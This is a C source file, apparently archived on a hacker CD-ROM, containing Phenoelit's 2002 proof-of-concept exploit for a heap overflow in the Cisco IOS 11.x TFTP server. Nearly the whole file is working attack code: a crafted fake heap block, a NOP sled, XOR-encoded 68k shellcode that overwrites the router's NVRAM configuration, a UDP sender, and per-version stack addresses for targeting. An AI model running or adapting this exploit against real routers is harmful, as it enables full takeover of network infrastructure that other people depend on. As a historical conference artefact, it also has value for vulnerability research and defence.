home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / cisco / UltimaRatioVegas.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-10-22  |  20.4 KB  |  649 lines
  1. /*
  2.                          --== P H E N O E L I T ==--
  3.                ____  _______                      _____       _______
  4.      ____   ____  / /__  __/  __   ___ ______    /    /______/__  __/   ______
  5.     /   /  /   / /    / / -*-/  \_/  //     /   /    /      /  / / -*- / __  /
  6.    /   /  /   / /    / / __ / /\_// // __  /   / /\ \  __  /  / / __  / / / /
  7.   /   /__/   / /____/ / / // /   / // / / /   / / / / / / /  / / / / / /_/ /
  8.  /__________/______/_/ /_//_/   /_//_/ /_/   /_/ /_/_/ /_/  /_/ /_/ /_____/
  9.  
  10. */
  11.  
  12. /* Cisco IOS Heap exploit prove of concept "Ultima Ratio".
  13.  * by FX of Phenoelit <fx@phenoelit.de>
  14.  * http://www.phenoelit.de
  15.  *
  16.  * Black Hat Briefings 2002 / Las Vegas
  17.  * DefCon X 2002 / Las Vegas
  18.  * 
  19.  * Cisco IOS 11.1.x to 11.3.x TFTP-Server
  20.  * If a TFTP server for a flash file is configured, a long filename in the TFTP
  21.  
  22.  * request will overflow a heap buffer. The attached program is a PoC to exploi
  23. t 
  24.  * this vulnerability by executing "shell code" on the router and write the 
  25.  * attached configuration into NVRAM to basically own the router. 
  26.  *
  27.  * Command line argument -p XXXXXXXX most definetly required. Obtain from syslo
  28. g 
  29.  * host or any other means possible. The stack address changes by image. 
  30.  * Find the right one for the IOS build you are running and if you feel like it
  31. , 
  32.  * send it to me.
  33.  *
  34.  * Kiddy Warnings: 
  35.  * - It will NOT work in fire-and-forget mode. 
  36.  * - The shellcode is only good for Cisco 1000 and 1600 series.
  37.  * - This code is not for illegal use. 
  38.  *
  39.  * $Id: UltimaRatioVegas.c,v 1.1 2002/07/26 16:39:38 $
  40.  */
  41. #include <stdio.h>
  42. #include <stdlib.h>
  43. #include <unistd.h>
  44. #include <string.h>
  45. #include <netinet/in.h>
  46. #include <rpc/types.h>
  47. #include <netdb.h>
  48. #include <sys/socket.h>
  49. #include <arpa/inet.h>
  50. #include <errno.h>
  51.  
  52. #include <sys/ioctl.h>
  53. #include <netinet/in.h>                
  54. #include <netpacket/packet.h>
  55. #include <net/ethernet.h>               
  56. #include <net/if.h>
  57. #include <sys/stat.h>
  58. #include <sys/types.h>
  59. #include <fcntl.h>
  60.  
  61.  
  62. typedef struct {
  63.     u_int16_t   opcode                  __attribute__((packed));
  64.     u_int8_t    file                    __attribute__((packed));
  65.     u_int8_t    type                    __attribute__((packed));
  66. } tftp_t;
  67.  
  68. typedef struct {
  69.     u_int16_t   magic                   __attribute__((packed));
  70.     u_int16_t   one                     __attribute__((packed));
  71.     u_int16_t   checksum                __attribute__((packed));
  72.     u_int16_t   IOSver                  __attribute__((packed));
  73.     u_int32_t   unknown                 __attribute__((packed));
  74.     u_int32_t   ptr                     __attribute__((packed));
  75.     u_int32_t   size                    __attribute__((packed));
  76. } nvheader_t;
  77.  
  78. struct {
  79.     int                 verbose;
  80.     int                 test;
  81.     char                *filename;
  82.     unsigned int        overflow;
  83.     u_int32_t           prev;
  84.     u_int32_t           next;
  85.     u_int32_t           offset;
  86.     u_int32_t           buffer_location;
  87.     u_int32_t           stack_address;
  88.     unsigned int        nop_sleet;
  89.     int                 dot1;
  90. } cfg;
  91.  
  92. u_int16_t       chksum(u_char *data, unsigned long count);
  93. void            hexdump(unsigned char *bp, unsigned int length);
  94. void            usage(char *s);
  95.  
  96. #define MAX_SIZE        1472
  97. #define XOR_PAT         0xD5
  98.  
  99. #define FB_PREV         28
  100. #define FB_NEXT         24
  101. #define FB_FREENEXT     60
  102. #define FB_FREEPREV     64
  103.  
  104. #define SPLASH          \
  105.         "Phenoelit ULTIMA RATIO\n" \
  106.         " Cisco IOS TFTP-Server remote exploit (11.1.-11.3)\n" \
  107.         " (C) 2002 - FX of Phenoelit <fx@phenoelit.de>\n" 
  108.  
  109. int main(int argc, char **argv) {
  110.     char                option;
  111.     extern char         *optarg;
  112.     unsigned int        i;
  113.  
  114.     /* confg file */
  115.     int                 fd;
  116.     struct stat         sb;
  117.  
  118.     u_char              *buffer;
  119.     u_char              *p;
  120.     nvheader_t          *nvh;
  121.     unsigned int        len;
  122.     u_int16_t           cs1;
  123.     u_int32_t           temp;
  124.  
  125.     /* Network */
  126.     int                 sfd;
  127.     struct in_addr      dest;
  128.     struct sockaddr_in  sin;
  129.  
  130.     /* the packet */
  131.     unsigned int        psize = 0;
  132.     u_char              *pack;
  133.     tftp_t              *tftp;
  134.     char                tftp_type[] =   "PHENOELIT";
  135.     char                terminator[] =  "\xCA\xFE\xF0\x0D";
  136.  
  137.  
  138.     char                fakeblock[] =
  139.         "\xFD\x01\x10\xDF"      // RED
  140.         "\xAB\x12\x34\xCD"      // MAGIC
  141.         "\xFF\xFF\xFF\xFF"      // PID
  142.         "\x80\x81\x82\x83"      // 
  143.         "\x08\x0C\xBB\x76"      // NAME
  144.         "\x80\x8a\x8b\x8c"      // 
  145.  
  146.         "\x02\x0F\x2A\x04"      // NEXT 
  147.         "\x02\x0F\x16\x94"      // PREV 
  148.  
  149.         "\x7F\xFF\xFF\xFF"      // SIZE 
  150.         "\x01\x01\x01\x01"      // 
  151.         "\xA0\xA0\xA0\xA0"      // padding ?
  152.         "\xDE\xAD\xBE\xEF"      // MAGIC2
  153.         "\x8A\x8B\x8C\x8D"      // 
  154.         "\xFF\xFF\xFF\xFF"      // padding 
  155.         "\xFF\xFF\xFF\xFF"      // padding 
  156.  
  157.         "\x02\x0F\x2A\x24"      // FREE NEXT (BUFFER)
  158.         "\x02\x05\x7E\xCC"      // FREE PREV (STACK of Load Meter, return addre
  159. ss)
  160.  
  161.         ;
  162.  
  163.     char                fakeblock_dot1[] =
  164.         "\xFD\x01\x10\xDF"      // RED
  165.         "\xAB\x12\x34\xCD"      // MAGIC
  166.         "\xFF\xFF\xFF\xFF"      // PID
  167.         "\x80\x81\x82\x83"      // 
  168.         "\x08\x0C\xBB\x76"      // NAME
  169.         "\x80\x8a\x8b\x8c"      // 
  170.  
  171.         "\x02\x0F\x2A\x04"      // NEXT 
  172.         "\x02\x0F\x16\x94"      // PREV 
  173.  
  174.         "\x7F\xFF\xFF\xFF"      // SIZE 
  175.         "\x01\x01\x01\x01"      // 
  176.         //"\xA0\xA0\xA0\xA0"    // no padding here on 11.1
  177.         "\xDE\xAD\xBE\xEF"      // MAGIC2
  178.         "\x8A\x8B\x8C\x8D"      // 
  179.         "\xFF\xFF\xFF\xFF"      // padding 
  180.         "\xFF\xFF\xFF\xFF"      // padding 
  181.  
  182.         "\x02\x0F\x2A\x24"      // FREE NEXT (BUFFER)
  183.         "\x02\x05\x7E\xCC"      // FREE PREV (STACK of Load Meter, return addre
  184. ss)
  185.  
  186.         ;
  187.  
  188.     char                nop[] =
  189.         "\x4E\x71";                     // the IOS will write here
  190.  
  191.     char                shell_code[] =
  192.         
  193.         // ************** CODE ****************
  194.         
  195.         "\x22\x7c\x0f\xf0\x10\xc2"      //moveal #267391170,%a1 (0x020F2A24)
  196.         "\xe2\xd1"                      //lsrw %a1@ (0x020F2A2A)
  197.         "\x47\xfa\x01\x23"              //lea %pc@(12d<xor_code+0xfd>),%a3 (0x0
  198. 20F2A2C)
  199.         "\x96\xfc\x01\x01"              //subaw #257,%a3 (0x020F2A30)
  200.         "\xe2\xd3"                      //lsrw %a3@ (0x020F2A34)
  201.         "\x22\x3c\x01\x01\x01\x01"      //movel #16843009,%d1 (0x020F2A36)
  202.         "\x45\xfa\x01\x17"              //lea %pc@(131<xor_code+0x101>),%a2(0x0
  203. 20F2A3C)
  204.         "\x94\xfc\x01\x01"              //subaw #257,%a2 (0x020F2A40)
  205.         "\x34\x3c\xd5\xd5"              //movew #-10795,%d2 (0x020F2A44)
  206.         "\xb5\x5a"                      //eorw %d2,%a2@+ (0x020F2A48)
  207.         "\x0c\x92\xca\xfe\xf0\x0d"      //cmpil #-889262067,%a2@ (0x020F2A4A)
  208.         "\xcc\x01"                      //branch (modified) (0x020F2A50)
  209.         "\xff\xf6"                      //(0x020F2A52)
  210.  
  211.         // ************** XORed CODE ****************
  212.  
  213.         "\x93\x29\xF2\xD5"              //movew #9984,%sr (0x020F2A5E)
  214.         "\xF7\xA9\xDA\x25\xC5\x17"      //moveal #267391170,%a1 (0x020F2A62)
  215.         "\xE7\x69\xD5\xD4"              //movew #1,%a1@ (0x020F2A68)
  216.         "\x90\x2F\xD5\x87"              //lea %pc@(62 <config>),%a2 (0x020F2A6C
  217. )
  218.         "\xF7\xA9\xDB\xD5\xD7\x7B"      //moveal #234881710,%a1 (0x020F2A70)
  219.         "\xA1\xD4"                      //moveq #1,%d2 (0x020F2A76)
  220.         "\xC7\x0F"                      //moveb %a2@+,%a1@+ (0x020F2A78)
  221.         "\xF7\xE9\xD5\xD5\x2A\x2A"      //movel #65535,%d1 (0x020F2A7A)
  222.         "\x46\x97"                      //subxw %d2,%d1 (0x020F2A80)
  223.         "\xBE\xD5\x2A\x29"              //bmiw 22 <write_delay> (0x020F2A82)
  224.         "\xD9\x47\x1F\x2B\x25\xD8"      //cmpil #-889262067,%a2@ (0x020F2A86)
  225.         "\xB3\xD5\x2A\x3F"              //bnew 1a <copy_confg> (0x020F2A8C)
  226.         "\xE7\x29\xD5\xD5"              //movew #0,%a1@+ (0x020F2A90)
  227.         "\xF7\xE9\xD5\xD5\x2A\x2A"      //movel #65535,%d1 (0x020F2A94)
  228.         "\x46\x97"                      //subxw %d2,%d1 (0x020F2A9A)
  229.         "\xBE\xD5\x2A\x29"              //bmiw 3c <write_delay2> (0x020F2A9C)
  230.         "\x66\x29\xDB\xD5\xF5\xD5"      //cmpal #234889216,%a1 (0x020F2AA0)
  231.         "\xB8\xD5\x2A\x3D"              //bltw 32 <delete_confg> (0x020F2AA6)
  232.         "\x93\x29\xF2\xD5"              //movew #9984,%sr (0x020F2AAA)
  233.         "\xF5\xA9\xDA\x25\xD5\xD5"      //moveal #267386880,%a0 (0x020F2AAE)
  234.         "\xFB\x85"                      //moveal %a0@,%sp (0x020F2AB4)
  235.         "\xF5\xA9\xDA\x25\xD5\xD1"      //moveal #267386884,%a0 (0x020F2AB6)
  236.         "\xF5\x85"                      //moveal %a0@,%a0 (0x020F2ABC)
  237.         "\x9B\x05"                      //jmp %a0@ (0x020F2ABE)
  238.  
  239.         ;
  240.  
  241.     /* configure defaults */
  242.     memset(&dest,0,sizeof(dest));
  243.     memset(&cfg,0,sizeof(cfg));
  244.     cfg.overflow=652;
  245.     cfg.prev=0x020F1694;
  246.     cfg.next=0x020F2A04;
  247.     //cfg.offset=0x13D4;
  248.     //cfg.offset=0x137C;        // 4988 
  249.     cfg.offset=0x1390;          // 5008 
  250.     cfg.buffer_location=0x020F2A24;
  251.     cfg.stack_address=0x02057ECC;
  252.     cfg.nop_sleet=16;
  253.  
  254.     printf("%s\n",SPLASH);
  255.  
  256.     while ((option=getopt(argc,argv,"1vtd:f:l:p:o:s:n:N:"))!=EOF) {
  257.         switch (option) {
  258.             case 'd':   if (inet_aton(optarg,&dest)==0) {
  259.                             /* ups, wasn't an IP - maybe a hostname */
  260.                             struct hostent      *hd;
  261.                             if ((hd=gethostbyname(optarg))==NULL) {
  262.                                 fprintf(stderr,"Could not resolve destination h
  263. ost\n");
  264.                                 return (1);
  265.                             } else {
  266.                                 bcopy(hd->h_addr,(char *)&dest,hd->h_length);
  267.                             }
  268.                         }
  269.                         break;
  270.             case 'f':   cfg.filename=(char *)malloc(strlen(optarg)+1);
  271.                         strcpy(cfg.filename,optarg);
  272.                         break;
  273.             case 'l':   if ( (cfg.overflow=atoi(optarg))==0 ) {
  274.                             fprintf(stderr,"Overflow length incorrect\n");
  275.                             return (1);
  276.                         }
  277.                         break;
  278.             case 'o':   if ( (cfg.offset=atoi(optarg))==0 ) {
  279.                             fprintf(stderr,"Offset incorrect\n");
  280.                             return (1);
  281.                         }
  282.                         break;
  283.             case 'N':   if ( (cfg.nop_sleet=atoi(optarg))==0 ) {
  284.                             fprintf(stderr,"NOP sleet incorrect\n");
  285.                             return (1);
  286.                         }
  287.                         break;
  288.             case 'p':   sscanf(optarg,"%08X",&(cfg.prev));
  289.                         break;
  290.             case 'n':   sscanf(optarg,"%08X",&(cfg.next));
  291.                         break;
  292.             case 's':   sscanf(optarg,"%08X",&(cfg.stack_address));
  293.                         break;
  294.             case 'v':   cfg.verbose++;
  295.                         break;
  296.             case 't':   cfg.test++;
  297.                         break;
  298.             case '1':   cfg.dot1++;
  299.                         break;
  300.             default:    usage(argv[0]);
  301.                         return (1);
  302.         }
  303.     }
  304.  
  305.     /*
  306.      * check for dummies 
  307.      */
  308.  
  309.     if ( (!(*((u_int32_t *)&dest))) || (cfg.filename==NULL) ) {
  310.         usage(argv[0]);
  311.         return 1;
  312.     }
  313.  
  314.     /* 
  315.      * patch fake block with new addresses 
  316.      */
  317.  
  318.     cfg.buffer_location=cfg.prev+20+cfg.offset;
  319.  
  320.     if (cfg.dot1) {
  321.         temp=htonl(cfg.prev+20);
  322.         memcpy(&(fakeblock_dot1[FB_PREV]),&(temp),4);
  323.         temp=htonl(cfg.next);
  324.         memcpy(&(fakeblock_dot1[FB_NEXT]),&(temp),4);
  325.         temp=htonl(cfg.buffer_location);
  326.         memcpy(&(fakeblock_dot1[FB_FREENEXT-4]),&(temp),4);
  327.         temp=htonl(cfg.stack_address);
  328.         memcpy(&(fakeblock_dot1[FB_FREEPREV-4]),&(temp),4);
  329.     } else {
  330.         temp=htonl(cfg.prev+20);
  331.         memcpy(&(fakeblock[FB_PREV]),&(temp),4);
  332.         temp=htonl(cfg.next);
  333.         memcpy(&(fakeblock[FB_NEXT]),&(temp),4);
  334.         temp=htonl(cfg.buffer_location);
  335.         memcpy(&(fakeblock[FB_FREENEXT]),&(temp),4);
  336.         temp=htonl(cfg.stack_address);
  337.         memcpy(&(fakeblock[FB_FREEPREV]),&(temp),4);
  338.     }
  339.  
  340.     if (cfg.verbose) {
  341.         if (cfg.dot1) printf("using IOS 11.1 Heap management mode\n");
  342.         printf("Values:\n"
  343.                 "- prev ptr of 0x%08X\n"
  344.                 "- next ptr of 0x%08X\n"
  345.                 "- buffer located at 0x%08X (offset %u)\n"
  346.                 "- stack return address 0x%08X\n"
  347.                 "- overflow lenght %u\n"
  348.                 "- NOP sleet %u\n"
  349.                 ,
  350.                 cfg.prev+20,
  351.                 cfg.next,
  352.                 cfg.buffer_location,cfg.offset,
  353.                 cfg.stack_address,
  354.                 cfg.overflow,
  355.                 cfg.nop_sleet);
  356.     }
  357.  
  358.     if (cfg.dot1) {
  359.         if (strlen(fakeblock_dot1)+1!=sizeof(fakeblock_dot1)) {
  360.             fprintf(stderr,"0x00 byte in fake block detected!\n");
  361.             if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock_dot1)-1);
  362.             return (1);
  363.         }
  364.     } else {
  365.         if (strlen(fakeblock)+1!=sizeof(fakeblock)) {
  366.             fprintf(stderr,"0x00 byte in fake block detected!\n");
  367.             if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock)-1);
  368.             return (1);
  369.         }
  370.     }
  371.  
  372.     /* 
  373.      * Load Config
  374.      * - load into buffer
  375.      * - prepare NVRAM header
  376.      * - calculate checksum
  377.      * -> *buffer contains payload
  378.      */
  379.     if (cfg.filename==NULL) return (-1);
  380.     if (stat(cfg.filename,&sb)!=0) {
  381.         fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
  382.         return (-1);
  383.     }
  384.  
  385.     if ((fd=open(cfg.filename,O_RDONLY))<0) {
  386.         fprintf(stderr,"Could not open() file %s\n",cfg.filename);
  387.         return (-1);
  388.     }
  389.  
  390.     len=sb.st_size;
  391.     if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
  392.         fprintf(stderr,"Malloc() failed\n");
  393.         return (-1);
  394.     }
  395.     memset(buffer,0,len+sizeof(nvheader_t)+10);
  396.  
  397.     p=buffer+sizeof(nvheader_t);
  398.     if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
  399.     close(fd);
  400.  
  401.     /* 
  402.      * pad config so it is word bound for the 0xcafef00d test
  403.      */
  404.     if ((len%2)!=0) {
  405.         strcat(p,"\x0A");
  406.         len++;
  407.         if (cfg.verbose) printf("Padding config by one\n");
  408.     }
  409.  
  410.     nvh=(nvheader_t *)buffer;
  411.     nvh->magic=htons(0xABCD);           
  412.     nvh->one=htons(0x0001);             // is always one 
  413.     nvh->IOSver=htons(0x0B03);          // IOS version
  414.     nvh->unknown=htonl(0x00000014);     // something, 0x14 just works
  415.     nvh->ptr=htonl(0x020AA660);         // something, 0x020AA660 just works
  416.     nvh->size=htonl(len);
  417.  
  418.     cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
  419.     if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
  420.     nvh->checksum=cs1;
  421.  
  422.  
  423.     /* 
  424.      * Check the size of all together and make sure it will fit into the
  425.      * packet
  426.      */
  427.     psize=  len + sizeof(nvheader_t) + 
  428.             + strlen(fakeblock)
  429.             + ( strlen(nop) * cfg.nop_sleet )
  430.             + strlen(shell_code)
  431.             + strlen(terminator)
  432.             + cfg.overflow + 1
  433.             + sizeof(tftp_t) + strlen(tftp_type) ;
  434.     if ( psize > MAX_SIZE ) {
  435.         fprintf(stderr,"The config file specified is too big and does not fit"
  436.                 " into one packet. Specify smaller file\n");
  437.         free(buffer);
  438.         return (1);
  439.     }
  440.     if ((pack=malloc(psize))==NULL) {
  441.         fprintf(stderr,"Could not malloc() packet\n");
  442.         return (-1);
  443.     }
  444.     memset(pack,0,psize);
  445.  
  446.  
  447.     /* 
  448.      * XOR encode the config block 
  449.      */ 
  450.     p=buffer;
  451.     for (i=0;i<(len+sizeof(nvheader_t));i++) {
  452.         p[i]=p[i]^XOR_PAT;
  453.     }
  454.  
  455.  
  456.     /* 
  457.      * Prepare the TFTP protocol part
  458.      */
  459.     tftp=(tftp_t *)((void *)pack);
  460.     tftp->opcode=htons(1);
  461.     
  462.     /* (1) Overflow */
  463.     p=(char *)&(tftp->file);
  464.     memset(p,'A',cfg.overflow);
  465.     p+=cfg.overflow;
  466.  
  467.     /* (2) Fake block */
  468.     if (cfg.dot1) {
  469.         memcpy(p,fakeblock_dot1,sizeof(fakeblock_dot1)-1);
  470.         p+=sizeof(fakeblock_dot1)-1;
  471.     } else {
  472.         memcpy(p,fakeblock,sizeof(fakeblock)-1);
  473.         p+=sizeof(fakeblock)-1;
  474.     }
  475.  
  476.     /* (3) add NOP sleet */
  477.     for (i=0;i<cfg.nop_sleet;i++) {
  478.         memcpy(p,nop,sizeof(nop)-1);
  479.         p+=sizeof(nop)-1;
  480.     }
  481.  
  482.     /* (4) append shell code */
  483.     memcpy(p,shell_code,sizeof(shell_code)-1);
  484.     p+=sizeof(shell_code)-1;
  485.  
  486.     /* (5) new config */
  487.     memcpy(p,buffer,strlen(buffer));
  488.     p+=strlen(buffer);
  489.  
  490.     /* (6) terminator */
  491.     strcpy(p,terminator);
  492.     p+=strlen(terminator)+1;
  493.  
  494.     /* (7) give it a type */
  495.     strcpy(p,tftp_type);
  496.  
  497.  
  498.  
  499.     if (cfg.verbose>1) hexdump(pack,psize);
  500.  
  501.     if (cfg.test) return(0);
  502.  
  503.     /*
  504.      * Perform attack
  505.      */
  506.     if ((sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
  507.         perror("socket()");
  508.         return (-1);
  509.     }
  510.     memset(&sin,0,sizeof(struct sockaddr_in));
  511.     sin.sin_family=AF_INET;
  512.     sin.sin_port=htons(69);  /* tftp */
  513.     memcpy(&(sin.sin_addr),&dest,sizeof(sin.sin_addr));
  514.  
  515.     printf("*** Sending exploit ***\n");
  516.  
  517.     if (sendto(sfd,pack,psize,0,
  518.                 (struct sockaddr *)&sin,sizeof(struct sockaddr_in))<=0) {
  519.         perror("sendto()");
  520.         return(-1);
  521.     }
  522.  
  523.     close(sfd);
  524.  
  525.     if (cfg.verbose) printf("\t%d bytes network data sent\n",psize);
  526.  
  527.     /*
  528.      * clean up 
  529.      */
  530.     free(buffer);
  531.     free(pack);
  532.  
  533.     return 0;
  534. }
  535.  
  536.  
  537. /* checksum function as used in IRPAS, stolen somewhere */
  538. u_int16_t chksum(u_char *data, unsigned long count) {
  539.     u_int32_t           sum = 0;
  540.     u_int16_t           *wrd;
  541.  
  542.     wrd=(u_int16_t *)data;
  543.     while( count > 1 )  {
  544.         sum = sum + *wrd;
  545.         wrd++;
  546.         count -= 2;
  547.     }
  548.  
  549.     if( count > 0 ) { sum = sum + ((*wrd &0xFF)<<8); }
  550.  
  551.     while (sum>>16) {
  552.         sum = (sum & 0xffff) + (sum >> 16);
  553.     }
  554.  
  555.     return (~sum);
  556. }
  557.  
  558.  
  559. /* A better version of hdump, from Lamont Granquist.  Modified slightly
  560.  * by Fyodor (fyodor@DHP.com) 
  561.  * obviously stolen by FX from nmap (util.c)*/
  562. void hexdump(unsigned char *bp, unsigned int length) {
  563.  
  564.   /* stolen from tcpdump, then kludged extensively */
  565.  
  566.   static const char asciify[] = "................................ !\"#$%&'()*+,
  567. -./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz
  568. {|}~...........................................................................
  569. ......................................................";
  570.  
  571.   register const u_short *sp;
  572.   register const u_char *ap;
  573.   register u_int i, j;
  574.   register int nshorts, nshorts2;
  575.   register int padding;
  576.  
  577.   printf("\n\t");
  578.   padding = 0;
  579.   sp = (u_short *)bp;
  580.   ap = (u_char *)bp;
  581.   nshorts = (u_int) length / sizeof(u_short);
  582.   nshorts2 = (u_int) length / sizeof(u_short);
  583.   i = 0;
  584.   j = 0;
  585.   while(1) {
  586.     while (--nshorts >= 0) {
  587.       printf(" %04x", ntohs(*sp));
  588.       sp++;
  589.       if ((++i % 8) == 0)
  590.         break;
  591.     }
  592.     if (nshorts < 0) {
  593.       if ((length & 1) && (((i-1) % 8) != 0)) {
  594.         printf(" %02x  ", *(u_char *)sp);
  595.         padding++;
  596.       }
  597.       nshorts = (8 - (nshorts2 - nshorts));
  598.       while(--nshorts >= 0) {
  599.         printf("     ");
  600.       }
  601.       if (!padding) printf("     ");
  602.     }
  603.     printf("  ");
  604.  
  605.     while (--nshorts2 >= 0) {
  606.       printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
  607.       ap += 2;
  608.       if ((++j % 8) == 0) {
  609.         printf("\n\t");
  610.         break;
  611.       }
  612.     }
  613.     if (nshorts2 < 0) {
  614.       if ((length & 1) && (((j-1) % 8) != 0)) {
  615.         printf("%c", asciify[*ap]);
  616.       }
  617.       break;
  618.     }
  619.   }
  620.   if ((length & 1) && (((i-1) % 8) == 0)) {
  621.     printf(" %02x", *(u_char *)sp);
  622.     printf("                                       %c", asciify[*ap]);
  623.   }
  624.   printf("\n");
  625. }
  626.  
  627. void usage(char *s) {
  628.     fprintf(stderr,
  629.             "Usage: %s -d <device_ip> -f config.file [-opts]\n"
  630.             "Options:\n"
  631.             " -p 1234ABCD   sets the previous ptr address\n"
  632.             " -n 1234ABCD   sets the next ptr address\n"
  633.             " -s 1234ABCD   sets the stack address\n"
  634.             " -o 1234       sets the offset from prev to buffer\n"
  635.             " -l 1234       sets the overflow size\n"
  636.             " -N 1234       sets the NOP sleet\n"
  637.             " -1            use IOS 11.1 memory layout\n"
  638.             " -v            increases verbosity (highly recommended)\n"
  639.             " -t            only test, don't send\n"
  640.             "\n"
  641.             "Recommended stack addresses:\n"
  642.             "IOS 11.1(20)         -s 020A1120 (IP Input)\n"
  643.             "IOS 11.2(18)P        -s 0204120C (Load Meter)\n"
  644.             "IOS 11.2(26)P4       -s 02041554 (Load Meter)\n"
  645.             "IOS 11.3(11)B        -s 02057ECC (Load Meter)\n"
  646.             ,s);
  647. }
  648.  
  649.